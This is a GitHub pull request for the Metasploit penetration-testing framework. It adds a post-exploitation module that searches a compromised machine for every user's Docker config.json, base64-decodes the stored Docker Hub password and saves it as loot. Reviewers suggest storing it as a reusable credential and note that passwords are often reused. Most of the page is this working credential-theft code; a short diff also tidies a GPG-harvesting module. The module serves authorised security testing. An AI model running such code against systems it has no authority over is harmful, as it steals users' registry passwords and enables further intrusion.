Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Post module for gather Docker credentials #8774

Merged
merged 4 commits into from Sep 14, 2017
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
74 changes: 74 additions & 0 deletions modules/post/multi/gather/docker_creds.rb
@@ -0,0 +1,74 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'json'

class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix

def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather Docker Credentials Collection',
'Description' => %q{
This module will collect the contents of all users' .docker directories on the targeted
machine. If the user has already push to docker hub, chances are that the password was
saved in base64 (default behavior).
},
'License' => MSF_LICENSE,
'Author' => ['Flibustier'],
'Platform' => %w{ bsd linux osx unix },
'SessionTypes' => ['shell']
))
end

# This module is largely based on gpg_creds.rb.

def run
print_status("Finding .docker directories")
paths = enum_user_directories.map {|d| d + "/.docker"}
# Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) }

if paths.nil? || paths.empty?
print_error("No users found with a .docker directory")
return
end

download_loot(paths)
end

def download_loot(paths)
print_status("Looting #{paths.count} directories")
paths.each do |path|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you should check if paths is nil here to prevent future bugs

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

But it's check before the call to the function

if paths.nil? || paths.empty?
      print_error("No users found with a .docker directory")
      return
    end

    download_loot(paths)

What is better?

path.chomp!
file = "config.json"
target = "#{path}/#{file}"

if file? target
print_status("Downloading #{target} -> #{file}")
extract(target)
end
end
end

def extract(target)
file = read_file(target)
parsed = JSON.parse(file)
if parsed["auths"] && parsed["auths"]["https://index.docker.io/v1/"]
creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Given @jhart-r7's feedback may be worth converting to loop thru all keys in parsed["auths"] and store any nested ['auth'] details that decode.

Keep in mind the impacts looping would have on the realm_value on the request below for conversion to store the detailed credential.


if creds.length > 0
plain = Rex::Text.decode_base64(creds)
print_good("Found #{plain}")
loot_path = store_loot("docker.credentials", "text/plain", session, plain,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would nice to see this stored as a credential vs loot. We all know about password reuse. Having the credential object can be very helpful.

Consider adjustment to:

username, password = plain.split(':')
credential_data = {
  origin_type: :import,
  module_fullname: self.fullname,
  filename: target,
  workspace_id: myworkspace_id,
  service_name: 'docker',
  realm_value: 'https://index.docker.io/v1/',
  realm_key: Metasploit::Model::Realm::Key::WILDCARD,
  private_type: :password,
  private_data: password,
  username: username
}
create_credential(credential_data)

While this is not the 100% expected usage for realm it will produce a nice usable shared credential with output as follows:

msf> creds
Credentials
===========

host  origin  service  public  private  realm                        private_type
----  ------  -------  ------  -------  -----                        ------------
                       test    test     https://index.docker.io/v1/  Password

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Very nice, I had integrated the suggestions! Let me know what you think

Thanks

"config.json", "Docker credentials from #{target}")
print_good("Saved credentials to #{loot_path}")
end
else
print_status("No credentials found in config file")
end
end
end
4 changes: 2 additions & 2 deletions modules/post/multi/gather/gpg_creds.rb
Expand Up @@ -29,7 +29,7 @@ def run
# Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) }

if paths.nil? or paths.empty?
if paths.nil? || paths.empty?
print_error("No users found with a .gnupg directory")
return
end
Expand All @@ -49,7 +49,7 @@ def download_loot(paths)
if directory?(target)
next
end
print_status("Downloading #{path}#{sep}#{file} -> #{file}")
print_status("Downloading #{target} -> #{file}")
data = read_file(target)
file = file.split(sep).last
type = file.gsub(/\.gpg.*/, "").gsub(/gpg\./, "")
Expand Down